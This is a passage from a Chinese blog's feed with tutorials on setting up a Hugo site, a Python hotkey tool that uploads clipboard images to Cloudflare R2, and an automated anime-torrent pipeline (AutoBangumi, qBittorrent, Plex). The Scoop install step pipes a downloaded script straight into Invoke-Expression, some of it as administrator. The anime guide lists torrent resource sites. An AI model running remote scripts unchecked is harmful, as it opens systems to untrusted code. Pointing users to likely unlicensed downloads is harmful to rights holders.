[Environment]::SetEnvironmentVariable(&amp;#39;SCOOP_GLOBAL&amp;#39;, $env:SCOOP_GLOBAL, &amp;#39;Machine&amp;#39;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;安装Scoop：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;powershell&quot;&gt;Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser
Invoke-RestMethod -Uri https://get.scoop.sh | Invoke-Expression
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果你以管理员的身份会安装失败，请切换为普通用户。若想强制以管理员身份安装Scoop请使用&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com&#x2F;ScoopInstaller&#x2F;Install#for-admin&quot;&gt;github原帖&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;出于安全考虑，默认情况下已禁用管理员控制台下的安装。如果您知道自己在做什么并希望以管理员身份安装Scoop，请下载安装程序并在提升的控制台中手动执行它，使用 &lt;code&gt;-RunAsAdmin&lt;&#x2F;code&gt; 参数。以下是示例：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;powershell&quot;&gt;irm get.scoop.sh -outfile &amp;#39;install.ps1&amp;#39;
.\install.ps1 -RunAsAdmin [-OtherParameters ...]
# 如果你想要一行解决：
iex &amp;quot;&amp;amp; {$(irm get.scoop.sh)} -RunAsAdmin&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;安装Hugo框架：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;powershell&quot;&gt;scoop install hugo
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后选择一个你喜欢的文件夹创建你的站点。 &lt;code&gt;myblog&lt;&#x2F;code&gt; 即你的站点文件夹名称&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;hugo new site myblog
cd myblog
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;安装PaperMod主题：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;git clone https://github.com&#x2F;adityatelange&#x2F;hugo-PaperMod.git themes&#x2F;PaperMod
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;站点根目录会有一个 &lt;code&gt;hugo.toml&lt;&#x2F;code&gt;。我推荐使用YAML。将文件重命名为 &lt;code&gt;hugo.yaml&lt;&#x2F;code&gt;。粘贴并更改以下内容&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;yaml&quot;&gt;baseURL: &amp;quot;https://站点url&amp;quot;
title: &amp;quot;网站标题&amp;quot;
LanguageCode: &amp;quot;zh-CN&amp;quot;
theme: &amp;quot;PaperMod&amp;quot;

# 启用首页个人简介展示
params:
  # 是否启用评论。你需要自己配置，或者直接引入Giscus等评论系统
  comments: false
  # 是否显示代码复制按钮
  ShowCodeCopyButtons: true
  # 是否显示面包屑导航
  ShowBreadCrumbs: false
  # 是否显示阅读时间  
  ShowReadingTime: true
  # 是否显示分享按钮
  ShowShareButtons: true
  # 分享按钮配置
  # ShareButtons: [&amp;quot;linkedin&amp;quot;, &amp;quot;twitter&amp;quot;]
  # 是否禁用主题切换按钮
  disableThemeToggle: false
  assets:
    favicon: &amp;quot;&#x2F;你的&#x2F;网站图标.jpg&amp;quot; # 需要在static文件夹放置对应的图片
    iconHeight: 35
  # 首页信息配置
  homeInfoParams:
    Title: &amp;quot;首页展示的标题&amp;quot;
    Content: &amp;gt;
      首页展示的文本

  # 设置网站头像和首页头像
  profileMode:
    enabled: false # 设为 true 将完全替换 homeInfoParams

  # 网站头像设置 (显示在导航栏)
  label:
    text: &amp;quot;左上角显示的文本&amp;quot;
    icon: &amp;quot;&#x2F;你的&#x2F;左上角显示的图片.jpg&amp;quot; # 这将显示在导航栏标题旁边。需要在static文件夹放置对应的图片
    iconHeight: 35

  # 社交图标 (显示在简介下方)
  socialIcons:
    - name: bilibili
      url: &amp;quot;&amp;quot;
    - name: github
      url: &amp;quot;&amp;quot;
    - name: telegram
      url: &amp;quot;&amp;quot;
    # 可以添加更多社交图标 https://github.com&#x2F;adityatelange&#x2F;hugo-PaperMod&#x2F;wiki&#x2F;Icons

# 顶部导航栏的快捷链接
menu:
  main:
    - identifier: categories
      name: 分类
      url: &#x2F;categories&#x2F;
      weight: 10
    - identifier: tags
      name: 标签
      url: &#x2F;tags&#x2F;
      weight: 20
    - identifier: archives
      name: 归档
      url: &#x2F;archives&#x2F;
      weight: 30
    - identifier: search
      name: 搜索
      url: &#x2F;search&#x2F;
      weight: 40
    # 可以添加更多导航链接。weight的值越高排序越靠后

# 如果要启用搜索功能，需要添加这个
outputs:
  home:
    - HTML
    - RSS
    - JSON # 必须，用于搜索功能
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后我们需要分别配置分类、标签、归档和搜索页&lt;&#x2F;p&gt;
&lt;p&gt;创建 &lt;code&gt;content\categories\_index.md&lt;&#x2F;code&gt; 写入：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;markdown&quot;&gt;---
title: 分类
layout: categories
---
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;创建 &lt;code&gt;content\tags\_index.md&lt;&#x2F;code&gt; 写入：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;markdown&quot;&gt;---
title: 标签
layout: tags
---
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;创建 &lt;code&gt;content\archives.md&lt;&#x2F;code&gt; 写入：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;markdown&quot;&gt;---
title: 归档
layout: archives
---
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;创建 &lt;code&gt;content\search.md&lt;&#x2F;code&gt; 写入：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;markdown&quot;&gt;---
title: &amp;quot;搜索&amp;quot;
layout: &amp;quot;search&amp;quot;
---
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后我们要更改默认的文章创建模板&lt;&#x2F;p&gt;
&lt;p&gt;在 &lt;code&gt;archetypes\default.md&lt;&#x2F;code&gt; 写入：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;markdown&quot;&gt;---
title: {{ replace .File.ContentBaseName &amp;quot;-&amp;quot; &amp;quot; &amp;quot; | title }}
published: {{ .Date }}
summary: &amp;quot;文章简介&amp;quot;
cover:
  image: 文章封面图。也支持HTTPS
tags: [标签1, 标签2]
categories: &amp;#39;文章所处的分类&amp;#39;
draft: false 
lang: &amp;#39;&amp;#39;
---
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;接下来我们就可以通过命令来创建文章，并开始写作了。注意，最终构建的文章URL是你的文章的文件名。比如：&lt;code&gt;https://你的网站.com&#x2F;posts&#x2F;first&lt;&#x2F;code&gt; 所以文章文件名尽量简短，这并不会影响你的文章标题&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;hugo new posts&#x2F;first.md
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;当我们写完一篇文章想要预览网站，可以使用&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;powershell&quot;&gt;hugo server
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;当我们想要将站点发布到Vercel、Cloudflare Pages等静态网站托管平台可以将我们的 &lt;code&gt;myblog&lt;&#x2F;code&gt; 作为一个Git存储库提交到Github&lt;&#x2F;p&gt;
&lt;p&gt;根目录：&lt;code&gt;.&#x2F;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;输出目录：&lt;code&gt;public&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;构建命令：&lt;code&gt;hugo --gc&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;环境变量： Key：&lt;code&gt;HUGO_VERSION&lt;&#x2F;code&gt; Value：&lt;code&gt;0.145.0&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;dui-xiang-cun-chu-cun-tu-zhong-jian-jian-dai-ma&quot;&gt;对象存储存图中间件代码：&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code data-lang=&quot;python&quot;&gt;import keyboard
import pyperclip
from PIL import ImageGrab, Image
import io
import boto3
from botocore.config import Config
import time
import uuid
import pyautogui
import os
from io import BytesIO
# 示例配置
# # R2 配置
# R2_CONFIG = {
#     &amp;#39;account_id&amp;#39;: &amp;#39;11111111111111111&amp;#39;,
#     &amp;#39;access_key_id&amp;#39;: &amp;#39;11111111111111111&amp;#39;,
#     &amp;#39;secret_access_key&amp;#39;: &amp;#39;11111111111111111&amp;#39;,
#     &amp;#39;bucket_name&amp;#39;: &amp;#39;11111111111111111&amp;#39;
# }

# # OSS 配置
# OSS_CONFIG = {
#     &amp;#39;url&amp;#39;: &amp;#39;sb-eo-r2.2x.nz&amp;#39;,
#     &amp;#39;prefix&amp;#39;: &amp;#39;&#x2F;fuwari-blog&#x2F;img&amp;#39;
# }
#########################################################
# R2 配置
R2_CONFIG = {
    &amp;#39;account_id&amp;#39;: &amp;#39;&amp;#39;,
    &amp;#39;access_key_id&amp;#39;: &amp;#39;&amp;#39;,
    &amp;#39;secret_access_key&amp;#39;: &amp;#39;&amp;#39;,
    &amp;#39;bucket_name&amp;#39;: &amp;#39;&amp;#39;
}

# OSS 配置
OSS_CONFIG = {
    &amp;#39;url&amp;#39;: &amp;#39;&amp;#39;,
    &amp;#39;prefix&amp;#39;: &amp;#39;&amp;#39;
}
#########################################################
def init_r2_client():
    &amp;quot;&amp;quot;&amp;quot;初始化 R2 客户端&amp;quot;&amp;quot;&amp;quot;
    return boto3.client(
        &amp;#39;s3&amp;#39;,
        endpoint_url=f&amp;#39;https://{R2_CONFIG[&amp;quot;account_id&amp;quot;]}.r2.cloudflarestorage.com&amp;#39;,
        aws_access_key_id=R2_CONFIG[&amp;#39;access_key_id&amp;#39;],
        aws_secret_access_key=R2_CONFIG[&amp;#39;secret_access_key&amp;#39;],
        config=Config(signature_version=&amp;#39;s3v4&amp;#39;),
        region_name=&amp;#39;auto&amp;#39;
    )

def get_image_from_clipboard():
    &amp;quot;&amp;quot;&amp;quot;从剪贴板获取图片&amp;quot;&amp;quot;&amp;quot;
    try:
        image = ImageGrab.grabclipboard()
        if image is None:
            return None

        # 如果是列表（多个文件），取第一个
        if isinstance(image, list):
            if len(image) &amp;gt; 0:
                # 如果是图片文件路径，打开它
                try:
                    return Image.open(image[0])
                except Exception as e:
                    print(f&amp;quot;打开图片文件失败: {e}&amp;quot;)
                    return None
            return None

        # 如果直接是 Image 对象
        if isinstance(image, Image.Image):
            return image

        return None
    except Exception as e:
        print(f&amp;quot;获取剪贴板图片失败: {e}&amp;quot;)
        return None

def convert_to_webp(image):
    &amp;quot;&amp;quot;&amp;quot;将图片转换为 webp 格式&amp;quot;&amp;quot;&amp;quot;
    if not image:
        return None

    try:
        buffer = BytesIO()
        # 确保图片是 RGB 模式
        if image.mode in (&amp;#39;RGBA&amp;#39;, &amp;#39;LA&amp;#39;):
            background = Image.new(&amp;#39;RGB&amp;#39;, image.size, (255, 255, 255))
            background.paste(image, mask=image.split()[-1])
            image = background
        elif image.mode != &amp;#39;RGB&amp;#39;:
            image = image.convert(&amp;#39;RGB&amp;#39;)

        image.save(buffer, format=&amp;quot;WEBP&amp;quot;, quality=80)
        return buffer.getvalue()
    except Exception as e:
        print(f&amp;quot;转换图片失败: {e}&amp;quot;)
        return None

def upload_to_r2(image_data):
    &amp;quot;&amp;quot;&amp;quot;上传图片到 R2&amp;quot;&amp;quot;&amp;quot;
    if not image_data:
        return None

    client = init_r2_client()

    # 生成基础文件名
    base_filename = f&amp;quot;{uuid.uuid4()}.webp&amp;quot;
    filename = base_filename

    try:
        # 检查文件是否已存在
        attempt = 1
        while True:
            try:
                # 尝试获取文件信息，如果文件存在会返回数据，不存在会抛出异常
                client.head_object(
                    Bucket=R2_CONFIG[&amp;#39;bucket_name&amp;#39;],
                    Key=f&amp;quot;{OSS_CONFIG[&amp;#39;prefix&amp;#39;].strip(&amp;#39;&#x2F;&amp;#39;)}&#x2F;{filename}&amp;quot;
                )
                # 如果文件存在，修改文件名
                name_without_ext = base_filename.rsplit(&amp;#39;.&amp;#39;, 1)[0]
                filename = f&amp;quot;{name_without_ext}_{attempt}.webp&amp;quot;
                attempt += 1
                print(f&amp;quot;文件名已存在，尝试重命名为: {filename}&amp;quot;)
            except client.exceptions.ClientError as e:
                # 如果是 404 错误，说明文件不存在，可以使用这个文件名
                if e.response[&amp;#39;Error&amp;#39;][&amp;#39;Code&amp;#39;] == &amp;#39;404&amp;#39;:
                    break
                raise e  # 其他错误则抛出

        # 上传文件
        client.put_object(
            Bucket=R2_CONFIG[&amp;#39;bucket_name&amp;#39;],
            Key=f&amp;quot;{OSS_CONFIG[&amp;#39;prefix&amp;#39;].strip(&amp;#39;&#x2F;&amp;#39;)}&#x2F;{filename}&amp;quot;,
            Body=image_data,
            ContentType=&amp;#39;image&#x2F;webp&amp;#39;
        )
        return filename
    except Exception as e:
        print(f&amp;quot;上传失败: {e}&amp;quot;)
        return None

def generate_markdown_link(filename):
    &amp;quot;&amp;quot;&amp;quot;生成 Markdown 图片链接&amp;quot;&amp;quot;&amp;quot;
    if not filename:
        return None

    url = f&amp;quot;https://{OSS_CONFIG[&amp;#39;url&amp;#39;]}{OSS_CONFIG[&amp;#39;prefix&amp;#39;]}&#x2F;{filename}&amp;quot;
    return f&amp;quot;![]({url})&amp;quot;

def type_markdown_link(markdown_link):
    &amp;quot;&amp;quot;&amp;quot;模拟键盘输入 Markdown 链接&amp;quot;&amp;quot;&amp;quot;
    if not markdown_link:
        return

    pyperclip.copy(markdown_link)
    pyautogui.hotkey(&amp;#39;ctrl&amp;#39;, &amp;#39;v&amp;#39;)

def handle_upload():
    &amp;quot;&amp;quot;&amp;quot;处理图片上传的主函数&amp;quot;&amp;quot;&amp;quot;
    print(f&amp;quot;\n[{time.strftime(&amp;#39;%Y-%m-%d %H:%M:%S&amp;#39;)}] 收到粘贴请求&amp;quot;)

    print(&amp;quot;正在检查剪贴板...&amp;quot;)
    # 获取剪贴板图片
    image = get_image_from_clipboard()
    if not image:
        print(&amp;quot;❌ 剪贴板中没有图片&amp;quot;)
        return
    print(&amp;quot;✅ 获取到剪贴板图片&amp;quot;)

    # 转换为 webp
    print(&amp;quot;正在转换为 WebP 格式...&amp;quot;)
    image_data = convert_to_webp(image)
    if not image_data:
        print(&amp;quot;❌ 图片转换失败&amp;quot;)
        return
    print(f&amp;quot;✅ 转换完成，大小: {len(image_data)&#x2F;1024:.2f}KB&amp;quot;)

    # 上传到 R2
    print(&amp;quot;正在上传到 R2...&amp;quot;)
    filename = upload_to_r2(image_data)
    if not filename:
        print(&amp;quot;❌ 上传失败&amp;quot;)
        return
    print(f&amp;quot;✅ 上传成功，文件名: {filename}&amp;quot;)

    # 生成并输入 Markdown 链接
    markdown_link = generate_markdown_link(filename)
    if markdown_link:
        print(f&amp;quot;生成的 URL: https://{OSS_CONFIG[&amp;#39;url&amp;#39;]}{OSS_CONFIG[&amp;#39;prefix&amp;#39;]}&#x2F;{filename}&amp;quot;)
        print(f&amp;quot;模拟键入: {markdown_link}&amp;quot;)
        type_markdown_link(markdown_link)
        print(&amp;quot;✅ 操作完成&amp;quot;)

def main():
    &amp;quot;&amp;quot;&amp;quot;主函数&amp;quot;&amp;quot;&amp;quot;
    print(&amp;quot;=&amp;quot; * 50)
    print(&amp;quot;R2 图片上传插件已启动&amp;quot;)
    print(f&amp;quot;当前配置:&amp;quot;)
    print(f&amp;quot;- OSS 域名: {OSS_CONFIG[&amp;#39;url&amp;#39;]}&amp;quot;)
    print(f&amp;quot;- 存储路径: {OSS_CONFIG[&amp;#39;prefix&amp;#39;]}&amp;quot;)
    print(f&amp;quot;- R2 存储桶: {R2_CONFIG[&amp;#39;bucket_name&amp;#39;]}&amp;quot;)
    print(&amp;quot;使用 Ctrl+Alt+V 上传剪贴板中的图片&amp;quot;)
    print(&amp;quot;=&amp;quot; * 50)

    # 注册快捷键
    keyboard.add_hotkey(&amp;#39;ctrl+alt+v&amp;#39;, handle_upload)

    # 保持程序运行
    keyboard.wait()

if __name__ == &amp;quot;__main__&amp;quot;:
    main() 
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>教你搭建自己的番剧库，实现自动追番！</title>
        <published>2025-02-25T00:00:00+00:00</published>
        <updated>2025-02-25T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/autobangumi/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/autobangumi/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/autobangumi/">&lt;ol&gt;
&lt;li&gt;每当新番更新时AutoBangumi自动向qb推送种子下载并且重命名&lt;&#x2F;li&gt;
&lt;li&gt;刮削软件（如Plex，飞牛影视设置定时搜索媒体库）&lt;&#x2F;li&gt;
&lt;li&gt;你只需要选番，然后等待下载和看就行了 &lt;del&gt;实际并非&lt;&#x2F;del&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;an-zhuang-qbittorrent&quot;&gt;安装qbittorrent&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;用于下载番剧&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;各系统安装方法各有不同。如果你安装的是非nox版本，记得在设置打开WebUI，并监听0.0.0.0:8080&lt;&#x2F;p&gt;
&lt;p&gt;Windows：&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://sourceforge.net&#x2F;projects&#x2F;qbittorrent&#x2F;files&#x2F;qbittorrent-win32&quot;&gt;SourceForge&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Linux：&lt;code&gt;apt&#x2F;yum install qbittorrent-nox&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Docker：https://github.com&#x2F;linuxserver&#x2F;docker-qbittorrent&lt;&#x2F;p&gt;
&lt;p&gt;Tracker服务器大全：&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://www.yaozuopan.top&#x2F;index.php&#x2F;archives&#x2F;1014&#x2F;#:~:text=%E4%B8%AD%E5%9B%BD%E5%8F%AF%E7%94%A8%E7%9A%84%20BT%20T&quot;&gt;中国可用的 BT Tracker 服务器列表，每24小时自动更新 - 小小编程&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;29e0e4c26c15463ff692aabcee747950e2d029d3.webp&quot; alt=&quot;8938ee430e5f74109c34c8c6d48e0e4f619cbeff.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;an-zhuang-autobangumi&quot;&gt;安装&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://www.autobangumi.org&#x2F;&quot;&gt;AutoBangumi&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;用于获取你订阅的番剧并在更新时自动发起下载任务&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;安装Docker，各系统安装方式各有不同&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;找一个你喜欢的文件夹创建&lt;code&gt;docker-compose.yaml&lt;&#x2F;code&gt; ，并写入内容：&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre&gt;&lt;code data-lang=&quot;yaml&quot;&gt;version: &amp;quot;3.8&amp;quot;

services:
  AutoBangumi:
    image: ghcr.io&#x2F;estrellaxd&#x2F;auto_bangumi:latest
    container_name: AutoBangumi
    volumes:
      - .&#x2F;config:&#x2F;app&#x2F;config
      - .&#x2F;data:&#x2F;app&#x2F;data
    ports:
      - &amp;quot;7892:7892&amp;quot;
    network_mode: bridge
    restart: unless-stopped
    dns:
      - 223.5.5.5
    environment:
      - TZ=Asia&#x2F;Shanghai
      - PGID=$(id -g)
      - PUID=$(id -u)
      - UMASK=022
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;
&lt;p&gt;运行命令：docker compose up -d&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;进入localhost:7892 ，默认账号：admin，默认密码：adminadmin&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;点左边的设置图标 -&amp;gt; 下载设置，填入下载器信息，然后点击右下角的应用，直到右上角亮绿灯&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;94f407121de7816ee2dff78f948dcc2ded27b28f.webp&quot; alt=&quot;QmbVcrgZ2C2FTt6QdfKsUkVQz9SCiQiyq1WCbphDiGW2mM.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;ol start=&quot;6&quot;&gt;
&lt;li&gt;
&lt;p&gt;前往蜜柑计划，注册账号，并订阅你想要的番剧（复制）
&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;0e22eab8db6ed2441f3d3be0b10d51944867df0a.webp&quot; alt=&quot;QmXq7DcBkA4EecJikQE4snvPkNU2NQLy1EXUpAructteah.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;回到 AutoBangumi，点击右上角的 +，添加 RSS（粘贴）&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;静静等待，不出意外 AutoBangumi 会自动下载你订阅的番剧了（如果没有可以查看AutoBangumi的日志，或者尝试重启容器）&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;xia-zai-jiu-ji-huo-yi-wan-jie-fan-ju&quot;&gt;下载旧集或已完结番剧&lt;&#x2F;h3&gt;
&lt;p&gt;首先推荐几个资源网（梯子自备）：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://acg.rip&quot;&gt;ACG.RIP&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://share.acgnx.se&quot;&gt;末日动漫资源网&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;蜜柑计划 国内直连：1. https://mikanime.tv 2. https://hadestian.cn 3. https://mk.misakaae.com 4. https://mikan.yujiangqaq.com 5. RSS镜像站：https://mikanani.longc.top&lt;&#x2F;li&gt;
&lt;li&gt;蜜柑计划 需翻墙：https://mikanani.me
然后找你想要的番剧下载&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h4 id=&quot;gui-fan-zhong-ming-ming&quot;&gt;规范重命名&lt;&#x2F;h4&gt;
&lt;blockquote&gt;
&lt;p&gt;为了让软件能正确刮削元数据和剧集，我们需要规范重命名。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;注意！你只需要确保番剧名正确就可以了！子目录可以通过后面的脚本自动重命名！如果你不确定番剧名请前往TMDB搜索：&lt;a href=&quot;https://af-archive-zola-classic.pages.dev/posts&#x2F;autobangumi&#x2F;themoviedb.org&quot;&gt;The Movie Database (TMDB) &lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;一级目录（qb 设置的下载目录）：不需要重命名&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;二级目录（番剧名，必须正确）：总之就是非常可爱&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;三级目录：（番剧的哪一季）：Season 1&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;四级目录：（番剧的哪一季的哪一集）：S01E01.MP4&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;del&gt;前往Episode-ReName，克隆仓库&lt;&#x2F;del&gt;  &lt;del&gt;（已被删库，可尝试&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://alist.onani.cn&#x2F;Episode-ReName.zip&quot;&gt;Episode-ReName.zip | Onani-AList&lt;&#x2F;a&gt; )&lt;&#x2F;del&gt; AList已死，请尝试天翼云盘： https://cloud.189.cn&#x2F;web&#x2F;share?code=iQVjUnzE7fQj （访问码：i8sk）&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Win 可以通过右键菜单自动获取路径版.bat 通过右键一级目录选择自动剧集命名 。若使用.py 脚本则只能通过&lt;code&gt;python3 EpisodeReName.py &quot;D:&#x2F;qbdownloads&#x2F;bangumi&quot;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;小贴士：&lt;&#x2F;strong&gt; 可以使用&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://onani.cn&#x2F;RaiDrive&quot;&gt;RaiDrive&lt;&#x2F;a&gt;或&lt;a href=&quot;&#x2F;SSHFS&quot;&gt;SSHFS&lt;&#x2F;a&gt;将远程的Linux文件映射到Windows上，管理番剧更方便
&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;5cf6dfe73164f6a869a59817df53f939e936ab00.webp&quot; alt=&quot;QmY7KM2MjudNksqvSkkFmwFgjjdD7ZQKLDaVPXR3jnXoxw.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;an-zhuang-plex-huo-zhe-an-zhuang-fei-niu-yun-nas&quot;&gt;安装 Plex（或者安装飞牛云NAS）&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;用于观看番剧&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;下载Plex Media Server&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;启动。默认端口 32400（如果进去是一堆乱码，添加&#x2F;web后缀。例如：192.168.124.25:32400&#x2F;web）&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;选择你的媒体库文件夹&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;开启远程访问，右上角设置 -&amp;gt; 远程访问&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;图为飞牛影视&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;acbde8bfd7395a8b5c744b9f1c550f3caac6c342.webp&quot; alt=&quot;Qmf8Q1D9fUoFbu9MQsQHvaz13p3YV2XguR3RqUAse2KBEa.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;爽看&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>我买了个新NAS...</title>
        <published>2025-02-23T00:00:00+00:00</published>
        <updated>2025-02-23T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/new-nas/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/new-nas/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/new-nas/">&lt;p&gt;这其实是一个老生常谈的问题，就像你问我为什么要开始写博客，我也只能给你一个答案，我想这么做。&lt;&#x2F;p&gt;
&lt;p&gt;好吧好吧，这个答案可能过于敷衍，如果让我仔细想想，应该说当时我已经有了不少的Linux理论知识和实操经验（通过云服务器），所以就想自己弄一个24h小时不关机的小主机放在家里玩（家里云）。&lt;&#x2F;p&gt;
